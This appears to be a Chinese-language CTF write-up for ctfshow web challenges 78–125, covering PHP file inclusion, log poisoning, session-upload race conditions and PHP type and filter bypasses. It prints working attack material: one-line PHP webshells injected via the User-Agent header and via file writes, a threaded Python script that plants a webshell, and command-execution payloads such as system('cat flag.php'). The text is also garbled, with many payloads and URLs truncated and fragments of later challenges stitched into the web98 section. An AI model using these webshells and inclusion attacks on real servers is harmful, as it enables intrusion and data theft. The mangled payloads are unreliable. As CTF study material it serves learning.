汇总-文件包含 1 .UA头插入一句话木马,访问/var /log/nginx/access.log进行日志文件的包含执行2 .php伪协议 data: php: 3 .php特性: new Reflectionclass ()
文件包含系列
web78 原始信息 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; include ($file ); }else { highlight_file (__FILE__ ); }
解题 GET: ?file=data: return : array (4 ) { [0 ]=> string (1 ) "." [1 ]=> string (2 ) ".." [2 ]=> string (8 ) "flag.php" [3 ]=> string (9 ) "index.php" } GET: ?file=data: return : $flag ="ctfshow{318ad708-8193-46c0-9d70-8395131fc0a1}" ;
官方WP
web79 原始信息 if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
解题 替换掉字符串php,换个方式查flag。
GET: ?file=data: return : array (4 ) { [0 ]=> string (1 ) "." [1 ]=> string (2 ) ".." [2 ]=> string (8 ) "flag.php" [3 ]=> string (9 ) "index.php" } GET: ?file=data: return : $flag ="ctfshow{318ad708-8193-46c0-9d70-8395131fc0a1}" ;
官方WP
?file=data: PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system ('cat flag.php' );
web80 原始信息 if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
解题 过滤了data,zip压缩流好像也无法调用。 这里调用的是日志文件。 具体流程如下:
GET: ?file=/var /log/nginx/access.log return : 172.12 .0.40 - - [28 /Aug/2023 :09 :41 :53 +0000 ] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0"
随便抓个包,在UA的地方插入一句话木马。
GET /?file=/var /log/nginx/access.log HTTP/1.1 Host: 82 b96b22-cba9-4 ca8-bb5e-a799983d105b.challenge.ctf.show User-Agent: <?php eval ($_POST [1 ])?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,*
放包后,发现出现奇怪的日志记录就算成功了。
172.12 .0.40 - - [28 /Aug/2023 :09 :50 :50 +0000 ] "GET /?file=/var/log/nginx/access.log&callback=jsonp1&cb=jsonp2&jsonp=jsonp3&jsonpcallback=jsonp4&jsonpcb=jsonp5&jsonp_cb=jsonp6&call=jsonp7&jcb=jsonp8&json=jsonp9&cbk=jsonp10&jsonpCallback=jsonp11&jsonpcb=jsonp12&jsoncallback=jsonp13&method=jsonp14&callbackStatus=jsonp15&jsonp_callback=jsonp16 HTTP/1.1" 200 1008 "http://82b96b22-cba9-4ca8-bb5e-a799983d105b.challenge.ctf.show/" "<br /> <b>Notice</b>: Undefined offset: 1 in <b>/var/log/nginx/access.log</b> on line <b>6</b><br />
然后使用一句话get后台读取即可
GET: http: POST: 1 =system ('ls' ); return : fl0g.php index.php POST: <?php $flag ="ctfshow{144be8c9-a20c-4250-9d72-77caf7843ed3}" ;
web81 原始信息 if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
解答 因为过滤的时候无法影响到日志文件的UA头,所以说这道题的WP和80题一致。
web82~86通杀脚本 import requestsimport ioimport threadingurl='http://801e7156-6aa4-4326-a739-2ad139d518aa.challenge.ctf.show/' sessionid='ctfshow' data={ "1" :"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');" } ''' post 传递内容可在网站目录下写入一句话木马。 根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。 sessionid 可控,所以这里即 /tmp/sess_ctfshow。 这样一旦访问成功,就说明木马植入了 ''' def write (session ): fileBytes = io.BytesIO(b'a' *1024 *50 ) while True : response=session.post( url, data={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php eval($_POST[1]);?>' }, cookies={ 'PHPSESSID' :sessionid }, files={ 'file' :('ctfshow.jpg' ,fileBytes) } ) def read (session ): while True : response=session.post( url+'?file=/tmp/sess_' +sessionid, data=data, cookies={ 'PHPSESSID' :sessionid } ) resposne2=session.get(url+'muma.php' ) if resposne2.status_code==200 : print ('++++++done++++++' ) else : print (resposne2.status_code) if __name__ == '__main__' : evnet=threading.Event() with requests.session() as session: for i in range (5 ): threading.Thread(target=write,args=(session,)).start() for i in range (5 ): threading.Thread(target=read,args=(session,)).start() evnet.set ()
如果本机的机器环境够格的话,是能一下子跑出正确状态的。但是如果本机环境不行,放云环境跑一下即可。笔者在本地上跑不出结果,放云Ubuntu跑一下就出结果了。
web82(条件竞争) 原始信息 if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
解答 /tmp/sess_xxxxxx PHP_SESSION_UPLOAD_PRGRESS PHP_SESSION_UPLOAD_PRGRESS=>'123' ->/tmp/sess_aaa->内容就是123
web83 原始信息 解题 PHP特性 web89 原始信息 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
解题 数组绕过
web90 原始信息 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
解题 $num = $_GET ['num' ];if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); }
构造payload:
GET:?num=4476 a return :ctfshow{75593 d49-792 f-4470 -a98f-0 d28ee3afdbf}
web91 原始信息 show_source (__FILE__ );include ('flag.php' );$a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } } else { echo 'nonononono' ; }
解答 if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } } else { echo 'nonononono' ; }
传参的要求:有换行和php
GET:?cmd=%0 aphp return :ctfshow{saadfgadgerhdrfagdsfasdasdf}
%0a正则表达式相关考点介绍的博客点我
web92 原始信息 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
解题 if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); }
构造payload:
web93 原始信息 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
解题 过滤了英文字符,使用进制绕过限制
web94 原始信息 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
解题
web95 原始信息 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
解题 1 .绕过数字封锁,使用八进制进行绕过2 .绕过0 和字母封锁,使用 "+" 进行绕过?num=+010574
web96 原始信息 if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
解题 比较简单,直接读取即可。
web97 原始信息 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;}
解题 if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;}
poc:
POST:a[]=1 &b[]=2 return :ctfshow{48116617 -7920 -4e46 -a2ef-937761 aba639}
web98 原始信息 include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );
解题 $_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );
这里看不大懂,WP简单如下:
GET: ?HTTP_FLAG=flag POST: HTTP_FLAG=flag
这是利用报错回显了flag。
官方的WP:
https: 考点是PHP里面的三元运算符和传址(引用) 传址(引用) 有点像c语言里面的地址 我们可以修改一下代码 <?php include ('flag.php' );if ($_GET ){$_GET =&$_POST ;}else { "flag" ;} if ($_GET ['flag' ]=='flag' ){$_GET =&$_COOKIE ;}else { 'flag' ;1 2 3 4 5 6 7 8 9 10 11 所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数 web99 payload: get : ?n=1 .php post:content=<?php system ($_POST [1 ]);?> web100 这道题基本上没有对参数进行过滤,所以直接执行命令 payload: web101 https: 考察使用函数打印对象里面的属性。 我们可以出100 的题里面看到提示,ctfshow.php里面就只有属性。并且最后的属性就是flag. 我们可以使用Reflectionclass类,打印类的结构 payload: } if ($_GET ['flag' ]=='flag' ){ $_GET =&$_SERVER ; }else { 'flag' ; } if ($_GET ['HTTP_FLAG' ]=='flag' ){ highlight_file ($flag ); }else { highlight_file (__FILE__ ); } 所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数
web99-写入型 原始信息 highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); }
解题 新的类型,初开的简单题。
$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); }
只要在写入一个一句话木马就gameover了。
GET:?n=10 .php POST:content=<?php eval ($_POST [1 ])?> 上面那样子就已经写入一个脚本了。 后面就算常规的一句话木马的测试了。 get:/10 .php post:1 =system ('ls' ); return :10 .php flag36d.php index.php get:/10 .php post:1 =var_dump (file_get_contents ('flag36d.php' )); return :<?php $flag ="ctfshow{0f4f09b5-aed0-4f02-9aa7-dfffb28e0cc4}" ;"
web100 原始信息 highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
解题 源码分析:
$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
看似有is_numeric,实则跟没有差不多。
当前两项是false时,后面再来一个false,$v0依然是true。
GET: ?v1=21 &v2=var_dump (scandir (pos (localeconv ()))) ; return : array (5 ) { [0 ]=> string (1 ) "." [1 ]=> string (2 ) ".." [2 ]=> string (11 ) "ctfshow.php" [3 ]=> string (11 ) "flag36d.php" [4 ]=> string (9 ) "index.php" } GET: ?v1=21 &v2=var_dump (file_get_contents ('flag36d.php' )) ; return : $flag ="flag_here" ;" #试着去读取环境变量 GET: ?v1=21 &v2=var_dump(getenv)/* &v3=*/; return: array(19) { [" PHP_EXTRA_CONFIGURE_ARGS"]=> string(77) " --enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi" [" HOSTNAME"]=> string(12) " 49 bf31952b5a" [" PHP_INI_DIR"]=> string(18) " /usr/local/etc/php" [" SHLVL"]=> string(1) " 1 " [" HOME"]=> string(14) " /home/www-data" [" PHP_LDFLAGS"]=> string(12) " -Wl,-O1 -pie" [" PHP_CFLAGS"]=> string(83) " -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 " [" PHP_MD5"]=> string(0) " " [" PHP_VERSION"]=> string(6) " 7.3 .22 " [" GPG_KEYS"]=> string(81) " CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D" [" PHP_CPPFLAGS"]=> string(83) " -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 " [" PHP_ASC_URL"]=> string(55) " https: ["PHP_URL" ]=> string (51 ) "https://www.php.net/distributions/php-7.3.22.tar.xz" ["PATH" ]=> string (60 ) "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ["PHPIZE_DEPS" ]=> string (78 ) "autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c" ["PWD" ]=> string (13 ) "/var/www/html" ["PHP_SHA256" ]=> string (64 ) "0e66606d3bdab5c2ae3f778136bfe8788e574913a3d8138695e54d98562f1fb5" ["FLAG" ]=> string (8 ) "not_flag" ["USER" ]=> string (8 ) "www-data" } GET: ?v1=21 &v2=var_dump ($ctfshow ) ; return : object (ctfshow) 转化下得到的东西:'0x2d' -> '-' fb58e3360x2d850d0x2d4a2c0x2d90480x2d67acee324269 fb58e336-850 d-4 a2c-9048 -67 acee324269 => ctfshow{fb58e336-850 d-4 a2c-9048 -67 acee324269}
web101 原始信息 highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
解题 这次题目过滤的很严重,基本上所有的有用的符号都过滤完了。唯一没过率的是空格,英文字符。
GET: ?v1=1 &v2=echo new Reflectionclass &v3=; return : Class [ class ctfshow ] { @@ /var /www/html/ctfshow.php 15 -17 - Constants [0 ] { } - Static properties [0 ] { } - Static methods [0 ] { } - Properties [3 ] { Property [ public $dalaoA ] Property [ public $dalaoB ] Property [ public $flag_95d6ac660x2d97c50x2d4e840x2d91a80x2d738690f9687 ] } - Methods [0 ] { } } 修改,同时爆破最后面一位。 95 d6ac660x2d97c50x2d4e840x2d91a80x2d738690f9687 => 95 d6ac66-97 c5-4e84 -91 a8-738690 f9687具体怎么爆破? 很简单,BP抓个包爆破下就可以了。 还有一点,爆破的最后一位是随机的。
web102 原始信息 highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); }
解题 源码分析
$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); }
首先,这个题目碰到了两个问题
$v2必须使用数字
$v1是$v2处理后的第二个处理函数
$v3控制的是写入的文件是哪个
原本根据官方的WP应该是能做出来的,我也测不出能调用科学技术法的纯数字加一个e的组合。
下面是官方WP:
GET: ?v2=115044383959474e6864434171594473 &v3=php: POST: v1=hex2bin return : 回显的是一个简单的字符串, 查看文件内容有两个随机字符,并且那些真正有用的内容只有查看网页源代码才能看到
WP的来源:
$a = "<?=`cat *`;" ;echo '11' .bin2hex (substr (base64_encode ($a ),0 ,-1 ));
web103 原始信息 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; if (!preg_match ("/.*p.*h.*p.*/i" ,$str )){ file_put_contents ($v3 ,$str ); } else { die ('Sorry' ); } } else { die ('hacker' ); } ?>
解题 最致命的,作为菜鸡居然看错了v3没被限制的问题……
正则表达式过滤的是v2被v1处理后的结果,并且进行php后缀筛查的也是这个结果。
所以说,没有控制到v3,和上一题一样WP。
GET: ?v2=115044383959474e6864434171594473 &v3=php: POST: v1=hex2bin return : 回显的是一个简单的字符串, 查看文件内容有两个随机字符,并且那些真正有用的内容只有查看网页源代码才能看到
web104–换题型 这次从两个传参开始.
原始信息 highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 )){ echo $flag ; } }
目测:哈希值弱类型比较
解题 这个哈希值弱类型比较比较简单,原因就是它连字符串的值是否相等都没做出比较。如果是md5那种初始值不等加密值相等的情况应该会很难搞。
GET:v2=1 POST:v1=1 return :ctfshow{352 baa81-b599-44 bd-84 f1-0 b3b687fc230}
web105 原始信息 highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($error ); } echo "your are good" .$flag ."\n" ;die ($suces );
一下子成了绕路十八弯……
解题 首当其冲,源码分析:
$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($error ); } echo "your are good" .$flag ."\n" ;die ($suces );
这个题目的关键:
怎么利用好这个信息很关键。
在看到上面出现flag导入和赋值时,可以选择考虑能不能用当下展示出来的所有变量替换为我需要的变量。起初这道题做的时候,我犯下的重大错误就算误以为这个变量藏在全局环境变量里面,后来才察觉到要使用变量替换。
GET:?suces=flag POST:error=suces return :ctfshow{411087 df-3 bd9-485 d-afd3-7 c80bec56c94}
web106 原始信息 highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } }
解题 这波还真给我猜中了。。。
哈希值没听说过有md5的那种前面0x弱类型比较绕过,去试验了下,哈希函数无法转换数组,它会一致性的返回NULL。
GET:v2[]=2 POST:v1[]=1 return : ctfshow{2642 a8fd-0 c7b-4 ae0-bb80-9538 f6c924f5}
web107–换题型 原始信息 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } }
解题 v2??无中生有了属于是……
if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } }
似乎这个很简单。
给$v1一个等式,再给$v3一个特殊的md5值。
GET:?v3=s878926199a POST:v1=flag=0e545993274517709034328855841020 return :ctfshow{8 fab69b7-3 b39-4 d5f-ac55-fb697083d56e}
好吧,真的很简单。一看就知道这是新题型。
web108 原始信息 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; }
解题 if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; }
这里,有翻转字符串的函数在。这是使用00截断的大前提。
?c=a%00a778 原本官方的WP是a%00778 因为上面翻转字符串和修改字符串为整数的加持,有一点让我很不解: 假设翻转字符串后的结果是87700%a,那么后面会多出两个0 那么转化的时候为什么没算上这两个0? 所以我觉得严谨点的写法应该是a%00a778
web109 原始信息 highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } }
解题 利用异常报错插入命令进行执行
Exception 异常处理类 payload: ?v1=Exception&v2=system('cat fl36dg.txt') ?v1=Reflectionclass&v2=system('cat fl36dg.txt')
web110 原始信息 if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); }
解题 千万不要使用函数读取文件内容,txt文件是可以直接访问的,别掉坑了。
php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 payload: ?v1=FilesystemIterator&v2=getcwd
web111 原始信息 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } }
解题 过滤掉全部的符号,又搞一个变量赋值。
唯一符合变量赋值又能获取相关信息的,只有全局变量。
web112 原始信息 highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
解题 协议绕过
is_file () preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file );php: php: php: compress.zlib:
web113 原始信息 highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
解题 目录溢出
具体原因:proc伪文件系统,多个软连接超越处理长度,is_file就不认为它不是一个文件。
/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/var /www/html/flag.php
或者zip协议流访问(个人访问是失败的,因为是校园网……)
web114 原始信息 error_reporting (0 );highlight_file (__FILE__ );function filter ($file ) { if (preg_match ('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];echo "师傅们居然tql都是非预期 哼!" ;if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; } 师傅们居然tql都是非预期 哼!
解题 限制明显加强,不过放过了filter。
web115 原始信息 include ('flag.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } $num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; } 黑客!!!
解题 如果顺着题意的话:
但关键的进制几乎被全部禁用了……
is_numeric () trim ($num )!=='36' $num !=='36' and $num =='36'
一个奇怪的情况:等于%0c36时既不等于又等于
收获 $num !=='36' and $num =='36' ;$num ='%0c36' ;
web123 原始信息 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
解题 xx[xxx.com => 仅仅转换[为_而已; POST:CTF[SHOW=1 &CTF[SHOW.COM=2 POST:CTF[SHOW=1 &CTF[SHOW.COM=2 &fun=echo $flag
web125 原始信息 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
解题 感谢大佬指路,让我这个菜鸡学会了这么在php文档当中找flag,哈哈哈……
payload:
POST:fun=die (implode (scandir (__DIR__ )))&CTF[SHOW=1 &CTF[SHOW.COM=2 return : ...flag.phpindex.phpPOST:fun=die (highlight_file ((scandir (__DIR__ ))[2 ]))&CTF[SHOW=1 &CTF[SHOW.COM=2 return :<?php $flag ="ctfshow{b00d1811-bf0c-4da0-b430-a045ff428bea}" ;
官方payload:
GET:?1 =flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file ($_GET [1 ])
收获 使用官方文档对各个函数的解读,以及自己的本地测试,能更快找到自己想要的东西或者漏洞!
